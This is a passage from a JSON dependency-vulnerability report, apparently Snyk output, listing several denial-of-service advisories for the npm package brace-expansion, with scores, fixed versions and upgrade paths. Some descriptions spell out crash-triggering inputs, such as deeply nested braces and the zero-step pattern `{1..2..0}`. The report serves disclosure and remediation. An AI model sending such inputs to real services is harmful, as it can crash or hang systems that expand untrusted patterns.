"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
